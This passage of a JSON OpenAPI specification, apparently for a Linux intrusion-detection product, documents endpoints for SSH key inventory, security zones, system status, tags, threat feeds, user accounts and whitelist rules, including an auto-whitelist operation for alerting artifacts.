host.","summary":"Get hosts+tags for SSH keys","tags":["SSH Hunter"],"requestBody":{"content":{"application/json":{"schema":{"type":"object","required":["key_ids"],"properties":{"key_ids":{"type":"array","description":"List of key IDs to retrieve.","items":{"type":"integer","description":"SSH ID."}}}}}}},"responses":{"200":{"description":"Hosts and host tags retrieved.","content":{"application/json":{"schema":{"$ref":"#/components/schemas/SshHostsAndTags"}}}},"400":{"description":"Invalid input JSON","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}},"default":{"description":"Unexpected error","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}}}}},"/sshhunter/hostkeytags":{"post":{"operationId":"getSshKeysAndTagsForHosts","description":"For the requested list of Host IDs, returns a list of all keys on those hosts and the key tags on each key.","summary":"Get keys+tags for hosts","tags":["SSH Hunter"],"requestBody":{"content":{"application/json":{"schema":{"type":"object","required":["host_ids"],"properties":{"host_ids":{"type":"array","description":"List of host IDs to retrieve.","items":{"type":"integer","description":"Host sequence ID."}}}}}}},"responses":{"200":{"description":"Hosts and host tags retrieved.","content":{"application/json":{"schema":{"$ref":"#/components/schemas/SshKeysAndTags"}}}},"400":{"description":"Invalid input JSON","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}},"default":{"description":"Unexpected error","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}}}}},"/sshhunter/summary":{"get":{"operationId":"getSshSummary","description":"Get list of SSH public keys from SSH Hunter.","parameters":[{"description":"number of results per page","in":"query","name":"size","required":false,"schema":{"type":"integer"}},{"description":"page number of results to retrieve","in":"query","name":"page","required":false,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/ScrollingResponse"}],"properties":{"data":{"description":"List of SSH Keys","items":{"$ref":"#/components/schemas/SshKeySummary"},"type":"array"}},"required":["data"],"type":"object"}}},"description":"SSH key summary retrieved."},"402":{"description":"Product license does not allow SSH Hunter features."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get SSH public keys","tags":["SSH Hunter"]}},"/sshhunter/users":{"get":{"description":"Get list of users with SSH public keys from SSH Hunter.","operationId":"getSshUsers","parameters":[{"description":"If present, restricts the user list data to the specific key ID.","in":"query","name":"key","required":false,"schema":{"type":"integer"}},{"description":"number of users per page","in":"query","name":"size","required":false,"schema":{"type":"integer"}},{"description":"page number of users to retrieve","in":"query","name":"page","required":false,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/ScrollingResponse"}],"properties":{"data":{"type":"object","properties":{"users":{"description":"List of SSH Users","items":{"$ref":"#/components/schemas/SshUserSummary"},"type":"array"}}}},"required":["data"],"type":"object"}}},"description":"SSH user list retrieved."},"402":{"description":"Product license does not allow SSH Hunter features."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get users with SSH public keys","tags":["SSH Hunter"]}},"/sshhunter/users/{username}":{"get":{"description":"Get details of a user with SSH public keys from SSH Hunter.","operationId":"getSshUser","parameters":[{"description":"username to retrieve","in":"path","name":"username","required":true,"schema":{"type":"string"}},{"description":"If present, restricts the user data to the specific key ID.","in":"query","name":"key","required":false,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","required":["data"],"properties":{"data":{"$ref":"#/components/schemas/SshUser"}}}}},"description":"SSH user details retrieved."},"402":{"description":"Product license does not allow SSH Hunter features."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get SSH public key details for a user","tags":["SSH Hunter"]}},"/sshhunter/zones":{"get":{"summary":"Get SSH security zones","description":"Get summary list of all SSH security zones.","operationId":"getSshZones","responses":{"200":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/TotalledResponse"}],"type":"object","properties":{"data":{"type":"array","items":{"$ref":"#/components/schemas/SSHZoneSummary"}}}}}},"description":"SSH security zone information retrieved"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["SSH Zones"]},"post":{"operationId":"createSshZone","summary":"Create SSH security zone","description":"Create a new SSH security zone.","tags":["SSH Zones"],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SSHZoneConfiguration"}}},"description":"SSH security zone to add.","required":true},"responses":{"201":{"description":"SSH security zone created.","content":{"application/json":{"schema":{"type":"integer","description":"The ID of the new SSH security zone."}}}},"400":{"description":"Invalid input or SSH security zone failed validation","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}},"409":{"description":"A zone with this name already exists.","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}},"default":{"description":"Unexpected error","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}}}}},"/sshhunter/zones/{id}":{"get":{"summary":"Get an SSH security zone","description":"Get details of an SSH security zone by ID.","operationId":"getSshZone","parameters":[{"description":"SSH security zone ID to get.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SSHZone"}}},"description":"SSH security zone details retrieved."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"SSH security zone not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["SSH Zones"]},"put":{"operationId":"updateSshZone","summary":"Update SSH security zone","description":"Update an SSH security zone.","tags":["SSH Zones"],"parameters":[{"description":"SSH security zone ID to update","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SSHZoneConfiguration"}}},"description":"SSH security zone to replace existing zone with.","required":true},"responses":{"200":{"description":"SSH security zone updated.","content":{"application/json":{"schema":{"type":"integer","description":"The ID of the updated SSH security zone."}}}},"400":{"description":"Invalid input or SSH security zone failed validation","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}},"404":{"description":"The SSH security zone ID doesn't exist.","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}},"409":{"description":"A zone with this name already exists.","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}},"default":{"description":"Unexpected error","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}}}},"delete":{"operationId":"deleteSshZone","summary":"Delete SSH security zone","description":"Delete an SSH security zone.","tags":["SSH Zones"],"parameters":[{"description":"SSH security zone ID to delete","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"description":"SSH security zone deleted.","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}},"default":{"description":"Unexpected error","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}}}}},"/status":{"get":{"deprecated":true,"operationId":"getStatus","description":"Gets system status statistics.","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StatusSystem"}}},"description":"Status retrieved."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error getting system status."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get system status statistics","tags":["Status"]}},"/status/nodes":{"get":{"description":"Gets node status statistics.","operationId":"getStatusByNodes","parameters":[{"name":"summary","in":"query","required":false,"description":"If true, omit the individual task details.","schema":{"type":"boolean"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StatusByNodes"}}},"description":"Status retrieved."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error getting node status."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get node status statistics","tags":["Status"]}},"/status/resultindexes":{"get":{"description":"Reports the build state of each result-JSON search index: \"ready\" (built and queryable), \"building\" (currently being built), or \"pending\" (not built yet), plus roll-up counts.","operationId":"getStatusResultIndexes","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ResultIndexStatusSummary"}}},"description":"Result search index status retrieved."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get result search index build status","tags":["Status"]}},"/status/tags":{"post":{"deprecated":true,"description":"Gets system status by tags over time.","operationId":"getStatusByTag","requestBody":{"content":{"application/json":{"schema":{"properties":{"result_status":{"description":"Result status type of alert, pass or error (default is alert if none supplied).","$ref":"#/components/schemas/ResultStatus"}},"type":"object"}}},"description":"result_status","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"properties":{"tags":{"description":"Dictionary of Tags","$ref":"#/components/schemas/StatusByTags"}},"required":["tags"],"type":"object"}}},"description":"Status by tags retrieved."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error getting system status."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get system status by tags over time","tags":["Status"]}},"/tags/hosts":{"get":{"description":"Gets all of the host tags in a unique list format.","operationId":"getHostTags","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/TagSummary"}}},"description":"Host tags retrieved"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Hosts not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get all host tags","tags":["Tags"]}},"/tags/sandflies":{"get":{"description":"Gets all of the sandfly tags in a unique list format.","operationId":"getSandflyTags","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/TagSummary"}}},"description":"Host tags retrieved"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Hosts not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get all sandfly tags","tags":["Tags"]}},"/tags/sshkeys":{"get":{"description":"Gets all unique SSH key tags.","operationId":"getSshKeyTags","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/TagSummary"}}},"description":"SSH key tags retrieved"},"402":{"description":"Product license does not allow SSH Hunter features."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get all SSH key tags","tags":["Tags"]}},"/tasks/all":{"delete":{"description":"Purge the server's knowledge of all outstanding tasks.","operationId":"purgeTaskQueues","summary":"Purge task queues","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Task queues purged."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Status"]}},"/tasks/queues/names":{"get":{"description":"Gets the active queue names with node counts.","operationId":"getActiveTaskQueues","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/TaskQueues"}}},"description":"Active queue names with node counts."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get active queue names","tags":["Status"]}},"/threatfeeds":{"get":{"summary":"Get threat feeds","description":"Get a list of all threat feed configurations.","operationId":"getThreatfeeds","responses":{"200":{"description":"Threat feeds retrieved.","content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/TotalledResponse"}],"type":"object","properties":{"data":{"type":"array","items":{"$ref":"#/components/schemas/ThreatFeed"}}}}}}},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Threat Feeds"]},"post":{"summary":"Create threat feed","description":"Create a new threat feed configuration.","operationId":"addThreatfeed","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ThreatFeedEdit"}}}},"responses":{"201":{"content":{"application/json":{"schema":{"type":"integer","description":"The ID of the new threat feed."}}},"description":"Threat feed created."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request body."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User is not permitted to perform this action."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Threat Feeds"]}},"/threatfeeds/{id}":{"get":{"summary":"Get threat feed details","description":"Get details of a threat feed configuration.","operationId":"getThreatfeed","parameters":[{"description":"Threat feed ID to get.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ThreatFeed"}}},"description":"Threat feed retrieved."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User is not permitted to perform this action."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Threat feed not found."}},"tags":["Threat Feeds"]},"put":{"summary":"Update threat feed","description":"Change an existing threat feed configuration.","operationId":"updateThreatfeed","parameters":[{"description":"Threat feed ID to replace.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ThreatFeedEdit"}}}},"responses":{"200":{"content":{"application/json":{"schema":{"type":"integer","description":"The ID of the updated threat feed."}}},"description":"Threat feed updated."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request body."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User is not permitted to perform this action."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Threat feed not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Threat Feeds"]},"delete":{"summary":"Delete threat feed","description":"Delete a threat feed configuration.","operationId":"deleteThreatfeed","parameters":[{"description":"Threat feed ID to delete.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Threat feed deleted."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid delete request (e.g. non-integer ID in request)."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User is not permitted to perform this action."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Threat Feeds"]}},"/users":{"get":{"operationId":"getUsers","description":"Gets all of the users.","parameters":[{"$ref":"#/components/parameters/include_system"}],"responses":{"200":{"content":{"application/json":{"schema":{"required":["users"],"properties":{"users":{"description":"List of users","items":{"$ref":"#/components/schemas/User"},"type":"array"}},"type":"object"}}},"description":"Users retrieved."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error getting users."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get all users","tags":["Users"]}},"/users/password/{username}":{"put":{"operationId":"updateUserPassword","description":"Updates the password of a user.","parameters":[{"description":"username to update password","in":"path","name":"username","required":true,"schema":{"format":"string","type":"string"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/UserPassword"}}},"description":"User json blob.","required":true},"responses":{"201":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User password updated."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error updating user."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Not allowed to set password for the requested user, or incorrect existing password when changing own password."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Update user password","tags":["Users"]}},"/users/{username}":{"delete":{"operationId":"deleteUser","description":"Deletes a user.","parameters":[{"description":"username to delete","in":"path","name":"username","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User deleted."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error deleting user."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete user","tags":["Users"]},"get":{"operationId":"getUser","description":"Gets a user by username.","parameters":[{"description":"username to get","in":"path","name":"username","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/User"}}},"description":"User data."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error getting user."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get user","tags":["Users"]},"post":{"operationId":"createUser","description":"Adds a user.","parameters":[{"description":"username to add","in":"path","name":"username","required":true,"schema":{"format":"string","type":"string"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/UserAdd"}}},"description":"User json blob.","required":true},"responses":{"201":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User added."},"401":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error adding user."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Add user","tags":["Users"]},"put":{"operationId":"updateUser","description":"Updates a user.","parameters":[{"description":"username to update","in":"path","name":"username","required":true,"schema":{"format":"string","type":"string"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/UserUpdate"}}},"description":"User json blob.","required":true},"responses":{"201":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User updated."},"401":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error updating user."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Update user","tags":["Users"]}},"/version":{"get":{"description":"Gets the version of the product.","operationId":"getSystemVersion","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/Version"}}},"description":"Version"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"No results found"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get version","tags":["Version"]}},"/whitelistrules":{"get":{"description":"Get all whitelist rules.","operationId":"getWhitelistRules","summary":"Get whitelist rules","parameters":[{"name":"tags","in":"query","required":false,"description":"An optional comma-separated list of case-insensitive host tags to filter the list of whitelists to only those that apply to *all* tags listed in this parameter.","schema":{"type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/TotalledResponse"}],"properties":{"data":{"description":"List of whitelist rules","type":"array","items":{"$ref":"#/components/schemas/WhitelistRuleSummary"}}},"required":["data"],"type":"object"}}},"description":"Whitelist rules retrieved"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Whitelist"]},"post":{"operationId":"createWhitelistRule","description":"Add a whitelist rule.","parameters":[{"description":"allow this whitelist to be merged into an existing whitelist if the conditions are the same","in":"query","name":"allowmerge","schema":{"type":"boolean"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/WhitelistRuleConfig"}}},"description":"Whitelist rule config.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"type":"integer","description":"ID of the existing whitelist rule the request was merged into."}}},"description":"Existing whitelist rule updated. Returned when `allowmerge` is true and an existing rule with the same sandflies, rules, and rule operator was found; the request's hosts and tags were added to it. The response body is the ID of that rule."},"201":{"content":{"application/json":{"schema":{"type":"integer","description":"ID of the new whitelist rule."}}},"description":"Whitelist rule created. If merge was allowed, there was no existing whitelist rule to merge this one into. The response body is the ID of the new rule."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request. The JSON could not be parsed; `allowmerge` was neither true nor false; an `id` was given for a new rule; the rule names no sandflies; `sandfly` is not one of the `sandflies` given with it; `all_sandflies` is combined with `exclude_sandfly`; or a rule expression does not compile. The response message says which."},"401":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error adding whitelist rule."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"A sandfly or host named by the rule does not exist."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Add Whitelist Rule","tags":["Whitelist"]}},"/whitelistrules/autowhitelist":{"post":{"operationId":"autoWhitelistArtifacts","summary":"Whitelist alerting artifacts automatically","description":"Create whitelist rules from alerting artifacts, and set the alerts those rules cover to pass.\n\nThe caller names the artifacts being accepted: individually in `artifact_ids`, by a result about them in `result_ids`, or as every artifact currently alerting on the hosts in `host_sequence_ids` (any combination of the three). A result ID is resolved to the artifact it is about and then treated exactly as if that artifact had been given in `artifact_ids`, which means the rule built from it covers every sandfly alerting on that artifact rather than only the sandfly whose result was named. One whitelist rule is created per distinct artifact: two artifacts that are the same thing at the chosen strictness -- the same process binary on two hosts, say -- share one rule. Each rule is written as ordinary expr rules over the artifact's properties. The properties are the ones the artifact's match hash is computed from: `strictness` picks the permissive set (a process's name and path, for example) or the moderate set (adding its binary hash and ownership).\n\nEvery rule created gets the host scope in `whitelist_scope`. With `all_sandflies` false a rule covers the sandflies currently alerting on the artifacts it was built from; with it true the rule covers every sandfly. Every existing result the new rules cover is changed to a whitelisted pass. Note that the source artifact's own host is not implicitly in scope: a host scope that leaves it out leaves its alert standing.\n\nA source artifact that no rule can be built from is reported in `skipped_artifacts` with the reason, and the rest of the request proceeds. That covers an artifact that is not currently alerting, one superseded by a newer scan, one of a type with no whitelist properties (an operating system or an error, for instance), and one no sandfly is alerting on when `all_sandflies` is false. A request that ends up creating no rules -- hosts with nothing alerting on them, for instance -- succeeds with an empty `whitelist_rules` list.\n\nRules are not merged into existing whitelist rules, so whitelisting the same artifact twice creates two rules.","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/AutoWhitelistRequest"}}},"description":"The artifacts to whitelist, how far the rules should reach, and how strictly they should match.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/AutoWhitelistResponse"}}},"description":"The request was valid but there was nothing to whitelist: no source artifact was alerting, or none could have a rule built from it. No whitelist rules were created and no results were changed. `skipped_artifacts` says why for each artifact the request named."},"201":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/AutoWhitelistResponse"}}},"description":"Whitelist rules created and the results they cover set to pass. The response lists the rules, the source artifacts no rule was built from, and how many results were changed."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request. The JSON could not be parsed; `strictness` is not `permissive` or `moderate`; `source_artifacts` names no artifact, result or host; `whitelist_scope` covers no hosts (`all_hosts` is false and no `host_sequence_ids` or `host_tags` are given); or the request would create more whitelist rules than one request may (1000). The response message says which."},"401":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Not authorized."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"An artifact in `artifact_ids`, a result in `result_ids`, or a host in either `host_sequence_ids` list, does not exist. The response message names it."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Whitelist"]}},"/whitelistrules/{whitelist_id}":{"get":{"description":"Get a whitelist rule by ID.","operationId":"getWhitelistRule","summary":"Get whitelist rule","parameters":[{"description":"whitelist ID to retrieve","in":"path","name":"whitelist_id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/WhitelistRule"}}},"description":"Whitelist rule retrieved"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Whitelist"]},"put":{"operationId":"updateWhitelistRule","description":"Update a whitelist rule.","parameters":[{"description":"whitelist ID to update","in":"path","name":"whitelist_id","required":true,"schema":{"type":"integer"}}],"requestBody":{"content":{"application/json":{"schema":{"type":"object","allOf":[{"$ref":"#/components/schemas/WhitelistRuleConfig"}],"required":["id"],"properties":{"id":{"type":"integer","description":"whitelist ID to update. ID in URL and ID in JSON must match."}}}}},"description":"Whitelist rule config.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"type":"integer","description":"ID of the updated whitelist rule."}}},"description":"Whitelist rule updated. The response body is the ID of the updated rule."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request. The JSON could not be parsed; the ID in the URL is not a positive integer or does not match the `id` in the JSON; the rule names no sandflies; `sandfly` is not one of the `sandflies` given with it; `all_sandflies` is combined with `exclude_sandfly`; or a rule expression does not compile. The response message says which."},"401":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error updating whitelist rule."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"The whitelist rule does not exist, or a sandfly or host named by the rule does not exist."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Update whitelist rule","tags":["Whitelist"]},"delete":{"operationId":"deleteWhitelistRule","description":"Delete a whitelist rule.","parameters":[{"description":"whitelist ID to delete","in":"path","name":"whitelist_id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Whitelist rule deleted."},"401":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error deleting whitelist rule."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete Whitelist Rule","tags":["Whitelist"]}},"/whitelistrules/activate/":{"put":{"description":"Activate whitelist rules by ID.","operationId":"activateWhitelistRules","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/WhitelistRuleIds"}}},"description":"List of whitelist_ids to activate.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Whitelists activated"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Activate whitelist rules in bulk","tags":["Whitelist"]}},"/whitelistrules/deactivate/":{"put":{"description":"Deactivate whitelist rules by ID.","operationId":"deactivateWhitelistRules","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/WhitelistRuleIds"}}},"description":"List of whitelist_ids to deactivate.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Whitelists deactivated"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Dectivate whitelist rules in bulk","tags":["Whitelist"]}},"/whitelistrules/activate/{whitelist_id}":{"put":{"description":"Activate a whitelist.","operationId":"activateWhitelistRule","parameters":[{"description":"whitelist ID to activate","in":"path","name":"whitelist_id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Whitelist activated"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Activate whitelist","tags":["Whitelist"]}},"/whitelistrules/deactivate/{whitelist_id}":{"put":{"description":"Deactivate a whitelist.","operationId":"deactivateWhitelistRule","parameters":[{"description":"whitelist ID to deactivate","in":"path","name":"whitelist_id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Whitelist deactivated"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Deactivate whitelist","tags":["Whitelist"]}},"/whitelistrules/host/{host_id}":{"get":{"description":"Get all whitelist rules for a particular host.","operationId":"getHostWhitelistRules","summary":"Get whitelists for host","parameters":[{"description":"Host to retrieve. Accepts a host_id or host_sequence_id.","in":"path","name":"host_id","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/TotalledResponse"}],"properties":{"data":{"description":"List of hosts","type":"array","items":{"$ref":"#/components/schemas/WhitelistRuleSummary"}}},"required":["data"],"type":"object"}}},"description":"Host with ignore whitelist 